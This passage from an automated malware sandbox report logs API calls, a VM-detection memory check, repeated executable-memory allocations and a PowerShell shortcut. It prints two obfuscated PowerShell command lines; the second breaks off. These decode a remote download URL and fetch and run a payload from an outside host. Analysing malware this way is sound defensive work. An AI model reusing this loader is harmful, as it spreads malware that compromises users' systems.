CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513540 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513540 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513540 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513540 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Nov. 11, 2024, 10:02 a.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 139 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 2031616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02830000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72f71000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0251a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72f72000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02512000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02562000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029e1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02563000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02564000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0251b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02565000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025cc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02566000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027b1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027b2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027b3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027b4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027b5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027b6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027b7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027b8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027b9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027ba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027bb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027bc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027bd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027be000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027bf000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 10:02 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline

POWERSHELL " <#Kradsbrstige Fatherlands Andelsmejeriet #>;$calciprivic='Regionalsprogenes';<#revancherendes Fredningerne totalbelbenes Sporidiiferous bedsteborgerlig Graphicsmenu Spektrografernes #>; function Forhandlingsleders($Taboulis){If ($host.DebuggerEnabled) {$bowyang++;}$Resalgar=$dilemmaers+$Taboulis.'Length' - $bowyang; for ( $Sildefiskere=4;$Sildefiskere -lt $Resalgar;$Sildefiskere+=5){$Garishly=$Sildefiskere;$Baternes+=$Taboulis[$Sildefiskere];}$Baternes;}function Ruths($Pyridinium){ & ($Internationalisms) ($Pyridinium);}$Crediting=Forhandlingsleders 'PterMPhiloAparz D giUmbrlO.cal dd.aComm/Real ';$Stteriets=Forhandlingsleders ' ynTJackl Elss.kom1Pres2Reng ';$Hamrene=' Eks[Ap lnBroiEFinut Te . SkusNonpeSte rBundvrus,iOdinCtoppEun apStuboImpaIBeren Ic,TDokuMA riADoksNNyc,A J vG etaE S crTegn]teks:Fant:InakS.ongEPericPostUb hjr Tv,IDobbTNaboYFilmpAt aRGavoOFum.ts,niOGalgc Temo aslAkad=I,st$Kraks B lTStr.tBulgeEs.iRGumliselvEVognt Me sFals ';$Crediting+=Forhandlingsleders 'Down5Nona.Bu s0 kol Hyst(,ilhWC,anicatanBland uttoKuijw bylsApat TeasNliniTD,co Vina1F rh0 ndh.Indl0udko; Key ResuWudgriSubcnAbra6F.yd4 Sti;,ufo NonlxRefl6 arb4Pr.a;frat E sarVedivBrus:Baks1Conf3prod1 e t. amm0Tatj)Vi g SrbeG toreMunkc,alakPe lo Exp/Flaa2Devo0Auto1Stat0bis.0 Pos1unco0Lnre1.ala Nor,FDiesi gr,rBsseeMo.pfAfm.oTouaxPott/Trib1Crea3 Dro1Te t. Un.0 iv ';$Untradesmanlike=Forhandlingsleders 'StupU.riasUskyEHyparInd -undeaT angToldePiliNBesuTIndu ';$Blokdiagrammets=Forhandlingsleders 'EstrhEffetRecot Pr p sojsScow:Rese/Kor,/TunefDekliTeaklFable AdedD gmnCult..orseSquauBort/Kliml U d9KviltB ygEBirdwDr.bbToph9 aapsGraf6O.eraN niaFlinR UdswModr5garnfPeliyAngoUMiliiGav aFa.fC.iss0IndslW nnfSk.v/ GigV starLeonaSar,n VingKar.eSpilnSemis afv.SeptmCoifsK rriMisc ';$Stramtandede=Forhandlingsleders ' Spe>Moh, ';$Internationalisms=Forhandlingsleders 'Jou i Dl EPhytXMagt ';$Antiparabemata='Londonese';$Skrubsakkernes='\Lag.Nyt';Ruths (Forhandlingsleders ' Com$ EmpG retlPa ko rosB FruATvinL Unr:ForllAloyU ranMV ltIT,reNRitoARulntNonsiPumpOMortnTa e=Hexa$ oueFar n.mrevdefi:PaikASoluP Al PCo,adF.anA Ment ,raA sys+Sa,s$KommSPromKAlicRIk nUTas B PresPhysaA,ankCompkrotteInsirMakrNDru.eExceS Stu ');Ruths (Forhandlingsleders 'Elsk$AfhoGM,lolEpulOSterb Fr,AProol Fr : TypsEquitNyheu sa d RedIwol EAlabLBe,leMet KAntitKin oQuatR TrieConsRL vsSS ig=udpi$ GraBRippLFerlOunfrKB nedchloiSupeAskraG ilgrskamAExc ME,teMSge ebrnet SlasKo.d.aftrS MonpEliql,anaISpheTOv r(Kltr$UninSAvigtAlunr.ineaUnarmSelvtBremASparnArmpDTavsEKohodglipEEksk)Boli ');Ruths (Forhandlingsleders $Hamrene);$Blokdiagrammets=$Studielektorers[0];$Karvgsforhold=(Forhandlingsleders 'Natu$SiligYisjlCa doIrrebsingAShi lFear:DyreD etaoIngeuaandcTl.nhBl de tyTIn,e=SnakndupeEFibrW Mic-ForooAn lBUdetJ Be EPaddcFasttRean OverSReklY.oenS Sk T J.neSuk mgo,u..tocNDog,Ehom.TSpro.SkriWStereLittbStercAfpuL p eisinte,henN NarT De ');Ruths ($Karvgsforhold);Ruths (Forhandlingsleders 'Bygg$S roD SproTradu asscSpalhSkilefredt D,s.Be eHFlleeHidhaSpild ComePulvrRepls Cra[ Dis$ oraUKo pnMicrt AfbrVse aDisrdTraneFej sSog m SeraS ran HeclEk tiEnerkBevieHvlb]Brev=Krig$Bo eCDemorPengeTicad .imiLavat.eanispinn Ji.gS pe ');$Overrighteously197=Forhandlingsleders 'Cis,$AethD ValoE hvuBe,nc Proh Foreb.gbt suf. OveDPaluoIsoywNonrn.slal Na oA,xoaPepid GruF anfiIrerlEndoeBejd(Civi$gen B BrelKnifoAfsvk eltdPhiliOveraUltigHemarMa.ta rugm Ex.mStereGro,tH ngsN na, pi$U uaBcolpuStrur Daun.anke OmptGraptSkr,iSnekz,nteeIndr)Lime ';$Burnettize=$Lumination;Ruths (Forhandlingsleders 'Tubu$SigngSlselClaro KirbRha,aFlodlTilt:.orwRGenne ,bfJDiame.malS,orfp Xa,RSludiElecNJ.rdg BlyE regtBond2Tals2Opre6,ull=Purs(UnbuTUranee brsT luTNaph- SynpUproAS.vkTBortHMili Turq$HjlpbOverUReprrSymbN sepEBygnts.mpt FumIJoltz sk,etro ) Neu ');while (!$Rejespringet226) {Ruths (Forhandlingsleders 'Comm$Mammg spalVenooLichb PreafestlAmts:YogiDC.ewr Ma i Irrl Un l Ni eAkvavSkvaoFinir Sibn taveStams ,mi=W.ak$StyrtAfskrExpiuReeleHelv ') ;Ruths $Overrighteously197;Ruths (Forhandlingsleders ' MonsLukktTusiAFi,kRBordtTeks-V nss G aL,oncE ssEafstPTegn Oth.4s,ra ');Ruths (Forhandlingsleders 'Mu,t$ fvagEmalL etwOTr mb,letA oloL O.f:H,lhrParkE LynJUndse H,osTrifpAnsvR DemIBrilNLavpG StbeBetotPegm2 Fub2Bras6 ned=Kund(Un etCanaeDivus spoT le-AutopSknmANatiT ProhS pr ar$ s ubPronuAdi.rskoknWr,iEApo,tEv rtBecriK ntzForue Omb) ul ') ;Ruths (Forhandlingsleders ' Ple$ WitGStigl,rizOKon b Reta dkLMatr:Mic.MMonouTranD HepDS.ileI teR inKLumbADetasindeTTildNLimoI BekN Di gM nd= Str$NrdeGBreaLOverOOkkub I oA RetL Apo: SegdBiogiUdbuAMythNWilsN BorAUnre+Tovt+B.am%ukrl$MedtS Gavt Ma UnighdSugeIby tETik LAcc eSpi.KPul,tGuarO FinRAc.iEVie.rAktisdyne.gainCte,po,nydU NikNSupptMist ') ;$Blokdiagrammets=$Studielektorers[$mudderkastning];}$Madannoncens=300531;$Outblotted=32092;Ruths (Forhandlingsleders ' Arb$Platg rgaLTri oUds bForeAKonkL Un :SignD VanR Kara,awsMDeliaSh nTUngdiR stc TilaKrysL E.tLKinkYU.je Bnne=Filr Bakkg theESubrTorga-RundCTwino Trin BulT HovEOpprNAnhat eno Krav$L ucb lovUFilhrValuNReacELacitrefrTC oliPew.ZAfstE Ri ');Ruths (Forhandlingsleders 'Eff $Te egEleklSandoBombb F,naStatlNopl: SkyD ProiInt,cA tehChierGaaroHyremTegna Bles assyCoun ,ini=Dec. Kat.[ViolSDeroyOctosAarhtOv remik.m Per.RascCPseuoOvern,okavLitee BrurL ndt Ov ]Taag:Savo:PhosFHeavr T doBrotmForhBAngeakitcsmap erel,6 Una4BlooSBenztVuggrafpaiA.sknInteg Dor(turb$Vi iDBr vrOndsaGenum MakaNonrtSyn.iDonoc ouaLowelU.rilSeruyBydr)E.ma ');Ruths (Forhandlingsleders 'Kolo$Roy.GTidsL Ko.OBlgeB CurAPomplSang:L thF Wi,oDo rd J cB emoaProsLSvigLSki EToxiRTentNDrnieChecsK,nf2gest2,ing1Prea liv=Nonm Ina[CabbSb,svyOpklSTy iTP zoeKo jmFang. ExpT Sr ESukkxTnksT upe.ta keSkimnIdercAffio S jdLeucI DisNOpprG.ice]Sabb: is:Rolia Pu sPsalCOpeniJus I Cat.AreoGAdjoeels.t ,acSHeltTAgg,RsammIBoldnNoc gFunk(Gent$SprndBrstIsvamCAlkahPhotR GhaoSkrim.ermAEl.eS elmyUnd,),nse ');Ruths (Forhandlingsleders 'Fn k$KodaGadellSomaOH vtb C saTranlTvrf:k akKCanoaElecn ,iffDediL SegEEft.nOverDjewdeInd.SIn e= Rej$Gresf resoUnprd loB LinAD ciL C nlBillEWeatrTo uN ksiEBalks Oms2glot2Kuru1 T,a. Kars nfuFor bBackSTapiTCoquRBo aiEjenNT.anga te(Nege$OpbymReopAPiggdAconAFor.nGratNPraxo brNHeatCLaveE VarnCowesTone,omk.$ TamOFainu Fy.tSig b imoL OpvOShogtSilitKrseeSlagD Pix)Phyl ');Ruths $Kanflendes;"

cmdline

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Kradsbrstige Fatherlands Andelsmejeriet #>;$calciprivic='Regionalsprogenes';<#revancherendes Fredningerne totalbelbenes Sporidiiferous bedsteborgerlig Graphicsmenu Spektrografernes #>; function Forhandlingsleders($Taboulis){If ($host.DebuggerEnabled) {$bowyang++;}$Resalgar=$dilemmaers+$Taboulis.'Length' - $bowyang; for ( $Sildefiskere=4;$Sildefiskere -lt $Resalgar;$Sildefiskere+=5){$Garishly=$Sildefiskere;$Baternes+=$Taboulis[$Sildefiskere];}$Baternes;}function Ruths($Pyridinium){ & ($Internationalisms) ($Pyridinium);}$Crediting=Forhandlingsleders 'PterMPhiloAparz D giUmbrlO.cal dd.aComm/Real ';$Stteriets=Forhandlingsleders ' ynTJackl Elss.kom1Pres2Reng ';$Hamrene=' Eks[Ap lnBroiEFinut Te . SkusNonpeSte rBundvrus,iOdinCtoppEun apStuboImpaIBeren Ic,TDokuMA riADoksNNyc,A J vG etaE S crTegn]teks:Fant:InakS.ongEPericPostUb hjr Tv,IDobbTNaboYFilmpAt aRGavoOFum.ts,niOGalgc Temo aslAkad=I,st$Kraks B lTStr.tBulgeEs.iRGumliselvEVognt Me sFals ';$Crediting+=Forhandlingsleders 'Down5Nona.Bu s0 kol Hyst(,ilhWC,anicatanBland uttoKuijw bylsApat TeasNliniTD,co Vina1F rh0 ndh.Indl0udko; Key ResuWudgriSubcnAbra6F.yd4 Sti;,ufo NonlxRefl6 arb4Pr.a;frat E sarVedivBrus:Baks1Conf3prod1 e t. amm0Tatj)Vi g SrbeG toreMunkc,alakPe lo Exp/Flaa2Devo0Auto1Stat0bis.0 Pos1unco0Lnre1.ala Nor,FDiesi gr,rBsseeMo.pfAfm.oTouaxPott/Trib1Crea3 Dro1Te t. Un.0 iv ';$Untradesmanlike=Forhandlingsleders 'StupU.riasUskyEHyparInd -undeaT angToldePiliNBesuTIndu ';$Blokdiagrammets=Forhandlingsleders 'EstrhEffetRecot Pr p sojsScow:Rese/Kor,/TunefDekliTeaklFable AdedD gmnCult..orseSquauBort/Kliml U d9KviltB ygEBirdwDr.bbToph9 aapsGraf6O.eraN niaFlinR UdswModr5garnfPeliyAngoUMiliiGav aFa.fC.iss0IndslW nnfSk.v/ GigV starLeonaSar,n VingKar.eSpilnSemis afv.SeptmCoifsK rriMisc ';$Stramtandede=Forhandlingsleders ' Spe>Moh, ';$Internationalisms=Forhandlingsleders 'Jou i Dl EPhytXMagt ';$Antiparabemata='Londonese';$Skrubsakkernes='\Lag.Nyt';Ruths (Forhandlingsleders ' Com$ EmpG retlPa ko rosB FruATvinL Unr:ForllAloyU ranMV ltIT,reNRitoARulntNonsiPumpOMortnTa e=Hexa$ oueFar n.mrevdefi:PaikASoluP Al PCo,adF.anA Ment ,raA sys+Sa,s$KommSPromKAlicRIk nUTas B PresPhysaA,ankCompkrotteInsirMakrNDru.eExceS Stu ');Ruths (Forhandlingsleders 'Elsk$AfhoGM,lolEpulOSterb Fr,AProol Fr : TypsEquitNyheu sa d RedIwol EAlabLBe,leMet KAntitKin oQuatR TrieConsRL vsSS ig=udpi$ GraBRippLFerlOunfrKB nedchloiSupeAskraG ilgrskamAExc ME,teMSge ebrnet SlasKo.d.aftrS MonpEliql,anaISpheTOv r(Kltr$UninSAvigtAlunr.ineaUnarmSelvtBremASparnArmpDTavsEKohodglipEEksk)Boli ');Ruths (Forhandlingsleders $Hamrene);$Blokdiagrammets=$Studielektorers[0];$Karvgsforhold=(Forhandlingsleders 'Natu$SiligYisjlCa doIrrebsingAShi lFear:DyreD etaoIngeuaandcTl.nhBl de tyTIn,e=SnakndupeEFibrW Mic-ForooAn lBUdetJ Be EPaddcFasttRean OverSReklY.oenS Sk T J.neSuk mgo,u..tocNDog,Ehom.TSpro.SkriWStereLittbStercAfpuL p eisinte,henN NarT De ');Ruths ($Karvgsforhold);Ruths (Forhandlingsleders 'Bygg$S roD SproTradu asscSpalhSkilefredt D,s.Be eHFlleeHidhaSpild 